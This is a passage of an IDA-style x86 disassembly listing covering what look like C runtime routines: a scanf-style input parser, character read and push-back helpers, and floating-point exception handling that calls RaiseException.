[edi] cmp cl, 5Dh jz short loc_420D13 inc edi cmp dl, cl jnb short loc_420CE6 mov al, cl jmp short loc_420CEA ; --------------------------------------------------------------------------- loc_420CE6: ; CODE XREF: sub_420730+5B0j mov al, dl mov dl, cl loc_420CEA: ; CODE XREF: sub_420730+5B4j cmp dl, al ja short loc_420D0F movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420CF7: ; CODE XREF: sub_420730+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420CF7 loc_420D0F: ; CODE XREF: sub_420730+5BCj xor dl, dl jmp short loc_420CC7 ; --------------------------------------------------------------------------- loc_420D13: ; CODE XREF: sub_420730+5A0j ; sub_420730+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420CC7 ; --------------------------------------------------------------------------- loc_420D2C: ; CODE XREF: sub_420730+59Bj cmp byte ptr [edi], 0 jz loc_421136 cmp [ebp+var_3C], 7Bh jnz short loc_420D3E mov [ebp+arg_4], edi loc_420D3E: ; CODE XREF: sub_420730+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_4211A6 pop ecx pop ecx loc_420D55: ; CODE XREF: sub_420730+6BCj ; sub_420730+6C4j cmp [ebp+var_20], 0 jz short loc_420D69 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420E05 loc_420D69: ; CODE XREF: sub_420730+629j inc [ebp+var_4] push edi call sub_42118C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420DF9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420DF9 cmp [ebp+var_E], 0 jnz short loc_420DF1 cmp [ebp+var_16], 0 jz short loc_420DE6 mov ecx, ds:off_43EF88 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420DC5 inc [ebp+var_4] push edi call sub_42118C pop ecx mov [ebp+var_37], al loc_420DC5: ; CODE XREF: sub_420730+686j push ds:dword_43F194 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_42410E mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420DE9 ; --------------------------------------------------------------------------- loc_420DE6: ; CODE XREF: sub_420730+673j mov [esi], al inc esi loc_420DE9: ; CODE XREF: sub_420730+6B4j mov [ebp+var_2C], esi jmp loc_420D55 ; --------------------------------------------------------------------------- loc_420DF1: ; CODE XREF: sub_420730+66Dj inc [ebp+var_30] jmp loc_420D55 ; --------------------------------------------------------------------------- loc_420DF9: ; CODE XREF: sub_420730+649j ; sub_420730+667j dec [ebp+var_4] push edi push eax call sub_4211A6 pop ecx pop ecx loc_420E05: ; CODE XREF: sub_420730+633j cmp [ebp+var_30], esi jz loc_421136 cmp [ebp+var_E], 0 jnz loc_421097 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421097 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420E37 and word ptr [eax], 0 jmp loc_421097 ; --------------------------------------------------------------------------- loc_420E37: ; CODE XREF: sub_420730+6FCj and byte ptr [eax], 0 jmp loc_421097 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420730+466j mov [ebp+var_D], 1 loc_420E43: ; CODE XREF: sub_420730+203j ; sub_420730+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420E51 mov [ebp+var_17], 1 jmp short loc_420E56 ; --------------------------------------------------------------------------- loc_420E51: ; CODE XREF: sub_420730+719j cmp ebx, 2Bh jnz short loc_420E78 loc_420E56: ; CODE XREF: sub_420730+71Fj dec [ebp+var_C] jnz short loc_420E67 cmp [ebp+var_20], 0 jz short loc_420E67 mov [ebp+var_F], 1 jmp short loc_420E78 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420730+729j ; sub_420730+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42118C pop ecx mov ebx, eax loc_420E75: ; CODE XREF: sub_420730+543j mov [ebp+var_14], ebx loc_420E78: ; CODE XREF: sub_420730+4FDj ; sub_420730+52Dj ... cmp [ebp+var_30], 0 jz loc_420F91 cmp [ebp+var_F], 0 jnz loc_420F6F loc_420E8C: ; CODE XREF: sub_420730+82Cj cmp esi, 78h jnz short loc_420EE0 cmp ds:dword_43F194, 1 jle short loc_420EA9 push 80h push ebx call sub_41F735 pop ecx pop ecx jmp short loc_420EB6 ; --------------------------------------------------------------------------- loc_420EA9: ; CODE XREF: sub_420730+768j mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, 80h loc_420EB6: ; CODE XREF: sub_420730+777j test eax, eax jz loc_420F61 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4241E0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_421155 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420F33 ; --------------------------------------------------------------------------- loc_420EE0: ; CODE XREF: sub_420730+75Fj cmp ds:dword_43F194, 1 jle short loc_420EF5 push 4 push ebx call sub_41F735 pop ecx pop ecx jmp short loc_420F00 ; --------------------------------------------------------------------------- loc_420EF5: ; CODE XREF: sub_420730+7B7j mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, 4 loc_420F00: ; CODE XREF: sub_420730+7C3j test eax, eax jz short loc_420F61 cmp esi, 6Fh jnz short loc_420F1E cmp ebx, 38h jge short loc_420F61 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4241E0 jmp short loc_420F2D ; --------------------------------------------------------------------------- loc_420F1E: ; CODE XREF: sub_420730+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D4A0 loc_420F2D: ; CODE XREF: sub_420730+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420F33: ; CODE XREF: sub_420730+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420F4B dec [ebp+var_C] jz short loc_420F6F loc_420F4B: ; CODE XREF: sub_420730+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42118C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420E8C ; --------------------------------------------------------------------------- loc_420F61: ; CODE XREF: sub_420730+788j ; sub_420730+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_4211A6 pop ecx pop ecx loc_420F6F: ; CODE XREF: sub_420730+756j ; sub_420730+819j cmp [ebp+var_17], 0 jz loc_421055 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_421055 ; --------------------------------------------------------------------------- loc_420F91: ; CODE XREF: sub_420730+74Cj cmp [ebp+var_F], 0 jnz loc_42104D loc_420F9B: ; CODE XREF: sub_420730+90Aj cmp esi, 78h jz short loc_420FDF cmp esi, 70h jz short loc_420FDF cmp ds:dword_43F194, 1 jle short loc_420FBA push 4 push ebx call sub_41F735 pop ecx pop ecx jmp short loc_420FC5 ; --------------------------------------------------------------------------- loc_420FBA: ; CODE XREF: sub_420730+87Cj mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, 4 loc_420FC5: ; CODE XREF: sub_420730+888j test eax, eax jz short loc_42103F cmp esi, 6Fh jnz short loc_420FD8 cmp ebx, 38h jge short loc_42103F shl edi, 3 jmp short loc_421017 ; --------------------------------------------------------------------------- loc_420FD8: ; CODE XREF: sub_420730+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421017 ; --------------------------------------------------------------------------- loc_420FDF: ; CODE XREF: sub_420730+86Ej ; sub_420730+873j cmp ds:dword_43F194, 1 jle short loc_420FF7 push 80h push ebx call sub_41F735 pop ecx pop ecx jmp short loc_421004 ; --------------------------------------------------------------------------- loc_420FF7: ; CODE XREF: sub_420730+8B6j mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, 80h loc_421004: ; CODE XREF: sub_420730+8C5j test eax, eax jz short loc_42103F push ebx shl edi, 4 call sub_421155 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421017: ; CODE XREF: sub_420730+8A6j ; sub_420730+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_421029 dec [ebp+var_C] jz short loc_42104D loc_421029: ; CODE XREF: sub_420730+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42118C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420F9B ; --------------------------------------------------------------------------- loc_42103F: ; CODE XREF: sub_420730+897j ; sub_420730+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_4211A6 pop ecx pop ecx loc_42104D: ; CODE XREF: sub_420730+865j ; sub_420730+8F7j cmp [ebp+var_17], 0 jz short loc_421055 neg edi loc_421055: ; CODE XREF: sub_420730+843j ; sub_420730+85Cj ... cmp esi, 46h jnz short loc_42105E and [ebp+var_1C], 0 loc_42105E: ; CODE XREF: sub_420730+928j cmp [ebp+var_1C], 0 jz loc_421136 cmp [ebp+var_E], 0 jnz short loc_421097 inc [ebp+var_34] loc_421071: ; CODE XREF: sub_420730+23Bj cmp [ebp+var_30], 0 jz short loc_421087 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421097 ; --------------------------------------------------------------------------- loc_421087: ; CODE XREF: sub_420730+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421094 mov [eax], edi jmp short loc_421097 ; --------------------------------------------------------------------------- loc_421094: ; CODE XREF: sub_420730+95Ej mov [eax], di loc_421097: ; CODE XREF: sub_420730+241j ; sub_420730+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_4210E4 ; --------------------------------------------------------------------------- loc_4210A2: ; CODE XREF: sub_420730+93j inc [ebp+var_4] push edi call sub_42118C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421111 mov ecx, ds:off_43EF88 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_4210E4 inc [ebp+var_4] push edi call sub_42118C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42111F dec [ebp+var_4] loc_4210E4: ; CODE XREF: sub_420730+970j ; sub_420730+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4210FA cmp byte ptr [esi], 25h jnz short loc_42113C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_42113C mov esi, eax loc_4210FA: ; CODE XREF: sub_420730+9B8j mov al, [esi] test al, al jnz loc_42075A jmp short loc_421136 ; --------------------------------------------------------------------------- loc_421106: ; CODE XREF: sub_420730+1F4j ; sub_420730+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421116 ; --------------------------------------------------------------------------- loc_421111: ; CODE XREF: sub_420730+98Aj dec [ebp+var_4] push edi push ebx loc_421116: ; CODE XREF: sub_420730+9DFj call sub_4211A6 pop ecx pop ecx jmp short loc_421136 ; --------------------------------------------------------------------------- loc_42111F: ; CODE XREF: sub_420730+9AFj dec [ebp+var_4] push edi push eax call sub_4211A6 dec [ebp+var_4] push edi push ebx call sub_4211A6 add esp, 10h loc_421136: ; CODE XREF: sub_420730+1Fj ; sub_420730+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42114D loc_42113C: ; CODE XREF: sub_420730+9BDj ; sub_420730+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_421150 cmp [ebp+var_15], al jnz short loc_421150 or eax, 0FFFFFFFFh jmp short loc_421150 ; --------------------------------------------------------------------------- loc_42114D: ; CODE XREF: sub_420730+A0Aj mov eax, [ebp+var_34] loc_421150: ; CODE XREF: sub_420730+A11j ; sub_420730+A16j ... pop edi pop esi pop ebx leave retn sub_420730 endp ; =============== S U B R O U T I N E ======================================= sub_421155 proc near ; CODE XREF: sub_420730+7A3p ; sub_420730+8DCp arg_0 = dword ptr 4 cmp ds:dword_43F194, 1 push esi jle short loc_42116F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F735 pop ecx pop ecx jmp short loc_42117E ; --------------------------------------------------------------------------- loc_42116F: ; CODE XREF: sub_421155+8j mov esi, [esp+4+arg_0] mov eax, ds:off_43EF88 mov al, [eax+esi*2] and eax, 4 loc_42117E: ; CODE XREF: sub_421155+18j test eax, eax jnz short loc_421188 and esi, 0FFFFFFDFh sub esi, 7 loc_421188: ; CODE XREF: sub_421155+2Bj mov eax, esi pop esi retn sub_421155 endp ; =============== S U B R O U T I N E ======================================= sub_42118C proc near ; CODE XREF: sub_420730+1E1p ; sub_420730+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42119E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42119E: ; CODE XREF: sub_42118C+7j push edx call sub_41F263 pop ecx retn sub_42118C endp ; =============== S U B R O U T I N E ======================================= sub_4211A6 proc near ; CODE XREF: sub_420730+6Bp ; sub_420730+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_4211BC push [esp+arg_4] push [esp+4+arg_0] call sub_4241FF pop ecx pop ecx locret_4211BC: ; CODE XREF: sub_4211A6+5j retn sub_4211A6 endp ; =============== S U B R O U T I N E ======================================= sub_4211BD proc near ; CODE XREF: sub_420730+63p ; sub_420730+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_4211C3: ; CODE XREF: sub_4211BD+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42118C mov edi, eax push edi call sub_41D890 pop ecx test eax, eax pop ecx jnz short loc_4211C3 mov eax, edi pop edi pop esi retn sub_4211BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_4211E1(int,int,double,int) sub_4211E1 proc near ; CODE XREF: sub_41C869+51p ; sub_41C9AF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_43F900, 0 jnz short loc_421216 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421796 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421216: ; CODE XREF: sub_4211E1+Aj push 0FFFFh mov ds:dword_4DDEB4, 21h push [ebp+arg_C] call sub_421A09 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_4211E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421234(int,int,double,double,int) sub_421234 proc near ; CODE XREF: sub_41C869:loc_41C92Cp ; sub_41C9AF:loc_41CA72p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42157F add esp, 0Ch test eax, eax jnz short loc_421272 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4212CC add esp, 18h loc_421272: ; CODE XREF: sub_421234+1Aj push [ebp+arg_0] call sub_421869 cmp ds:dword_43F900, 0 pop ecx jnz short loc_4212B0 test eax, eax jz short loc_4212B0 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421796 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_421234+4Ej ; sub_421234+52j push eax call sub_42181E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_421A09 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4212CC proc near ; CODE XREF: sub_421234+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4212FE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4212FE: ; CODE XREF: sub_4212CC+23j test cl, 2 jz short loc_421311 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421311: ; CODE XREF: sub_4212CC+35j test cl, bl jz short loc_421323 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421323: ; CODE XREF: sub_4212CC+47j test cl, 4 jz short loc_421336 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421336: ; CODE XREF: sub_4212CC+5Aj test cl, 8 jz short loc_421349 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421349: ; CODE XREF: sub_4212CC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4219EC test al, bl jz short loc_4213D2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4213D2: ; CODE XREF: sub_4212CC+FDj test al, 4 jz short loc_4213DD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4213DD: ; CODE XREF: sub_4212CC+108j test al, 8 jz short loc_4213E8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4213E8: ; CODE XREF: sub_4212CC+113j test al, 10h jz short loc_4213F2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4213F2: ; CODE XREF: sub_4212CC+11Ej test al, 20h jz short loc_4213FC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4213FC: ; CODE XREF: sub_4212CC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42143B cmp eax, 400h jz short loc_42142D cmp eax, 800h jz short loc_421421 cmp eax, ecx jnz short loc_421441 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421441 ; --------------------------------------------------------------------------- loc_421421: ; CODE XREF: sub_4212CC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421437 ; --------------------------------------------------------------------------- loc_42142D: ; CODE XREF: sub_4212CC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421437: ; CODE XREF: sub_4212CC+15Fj mov [eax], ecx jmp short loc_421441 ; --------------------------------------------------------------------------- loc_42143B: ; CODE XREF: sub_4212CC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421441: ; CODE XREF: sub_4212CC+14Bj ; sub_4212CC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42146C cmp eax, 200h jz short loc_42145F cmp eax, ecx jnz short loc_421479 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421479 ; --------------------------------------------------------------------------- loc_42145F: ; CODE XREF: sub_4212CC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421477 ; --------------------------------------------------------------------------- loc_42146C: ; CODE XREF: sub_4212CC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421477: ; CODE XREF: sub_4212CC+19Ej mov [eax], ecx loc_421479: ; CODE XREF: sub_4212CC+189j ; sub_4212CC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4219FA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:dword_42805C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4214F3 and dword ptr [esi], 0FFFFFFFEh loc_4214F3: ; CODE XREF: sub_4212CC+222j test byte ptr [eax+8], 8 jz short loc_4214FC and dword ptr [esi], 0FFFFFFFBh loc_4214FC: ; CODE XREF: sub_4212CC+22Bj test byte ptr [eax+8], 4 jz short loc_421505 and dword ptr [esi], 0FFFFFFF7h loc_421505: ; CODE XREF: sub_4212CC+234j test byte ptr [eax+8], 2 jz short loc_42150E and dword ptr [esi], 0FFFFFFEFh loc_42150E: ; CODE XREF: sub_4212CC+23Dj test [eax+8], bl jz short loc_421516 and dword ptr [esi], 0FFFFFFDFh loc_421516: ; CODE XREF: sub_4212CC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42154A dec ecx jz short loc_42153E dec ecx jz short loc_421534 dec ecx jnz short loc_42154C or byte ptr [esi+1], 0Ch jmp short loc_42154C ; --------------------------------------------------------------------------- loc_421534: ; CODE XREF: sub_4212CC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421546 ; --------------------------------------------------------------------------- loc_42153E: ; CODE XREF: sub_4212CC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421546: ; CODE XREF: sub_4212CC+270j mov [esi], ecx jmp short loc_42154C ; --------------------------------------------------------------------------- loc_42154A: ; CODE XREF: sub_4212CC+257j and [esi], edx loc_42154C: ; CODE XREF: sub_4212CC+260j ; sub_4212CC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42156C dec ecx jz short loc_421563 dec ecx jnz short loc_421575 and [esi], edx jmp short loc_421575 ; --------------------------------------------------------------------------- loc_421563: ; CODE XREF: sub_4212CC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421573 ; --------------------------------------------------------------------------- loc_42156C: ; CODE XREF: sub_4212CC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421573: ; CODE XREF: sub_4212CC+29Ej mov [esi], ecx loc_421575: ; CODE XREF: sub_4212CC+291j ; sub_4212CC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4212CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42157F proc near ; CODE XREF: sub_421234+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4215AA test byte ptr [ebp+arg_8], bl jz short loc_4215AA push ebx call sub_421A2C pop ecx and edi, 0FFFFFFF7h jmp loc_421774 ; --------------------------------------------------------------------------- loc_4215AA: ; CODE XREF: sub_42157F+15j ; sub_42157F+1Aj test al, 4 jz short loc_4215C4 test byte ptr [ebp+arg_8], 4 jz short loc_4215C4 push 4 call sub_421A2C pop ecx and edi, 0FFFFFFFBh jmp loc_421774 ; --------------------------------------------------------------------------- loc_4215C4: ; CODE XREF: sub_42157F+2Dj ; sub_42157F+33j test al, bl jz loc_42169E test byte ptr [ebp+arg_8], 8 jz loc_42169E push 8 call sub_421A2C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421676 cmp ecx, 400h jz short loc_42164E cmp ecx, 800h jz short loc_421626 cmp ecx, eax jnz loc_421696 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_428880 fld ds:dbl_43F500 fnstsw ax sahf ja short loc_42161E fchs loc_42161E: ; CODE XREF: sub_42157F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421694 ; --------------------------------------------------------------------------- loc_421626: ; CODE XREF: sub_42157F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_428880 fnstsw ax sahf jbe short loc_42163E fld ds:dbl_43F4F0 jmp short loc_421646 ; --------------------------------------------------------------------------- loc_42163E: ; CODE XREF: sub_42157F+B5j fld ds:dbl_43F500 fchs loc_421646: ; CODE XREF: sub_42157F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421694 ; --------------------------------------------------------------------------- loc_42164E: ; CODE XREF: sub_42157F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_428880 fnstsw ax sahf jbe short loc_421666 fld ds:dbl_43F500 jmp short loc_42166E ; --------------------------------------------------------------------------- loc_421666: ; CODE XREF: sub_42157F+DDj fld ds:dbl_43F4F0 fchs loc_42166E: ; CODE XREF: sub_42157F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421694 ; --------------------------------------------------------------------------- loc_421676: ; CODE XREF: sub_42157F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_428880 fld ds:dbl_43F4F0 fnstsw ax sahf ja short loc_42168E fchs loc_42168E: ; CODE XREF: sub_42157F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421694: ; CODE XREF: sub_42157F+A5j ; sub_42157F+CDj ... fstp qword ptr [ecx] loc_421696: ; CODE XREF: sub_42157F+81j and edi, 0FFFFFFFEh jmp loc_421774 ; --------------------------------------------------------------------------- loc_42169E: ; CODE XREF: sub_42157F+47j ; sub_42157F+51j test al, 2 jz loc_421774 test byte ptr [ebp+arg_8], 10h jz loc_421774 push esi xor esi, esi test al, 10h jz short loc_4216B9 mov esi, ebx loc_4216B9: ; CODE XREF: sub_42157F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp ds:dbl_428880 fnstsw ax sahf jz loc_421762 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42192B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421704 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421758 ; --------------------------------------------------------------------------- loc_421704: ; CODE XREF: sub_42157F+17Aj fld [ebp+var_C] fcomp ds:dbl_428880 fnstsw ax sahf jnb short loc_421716 mov edx, ebx jmp short loc_421718 ; --------------------------------------------------------------------------- loc_421716: ; CODE XREF: sub_42157F+191j xor edx, edx loc_421718: ; CODE XREF: sub_42157F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short 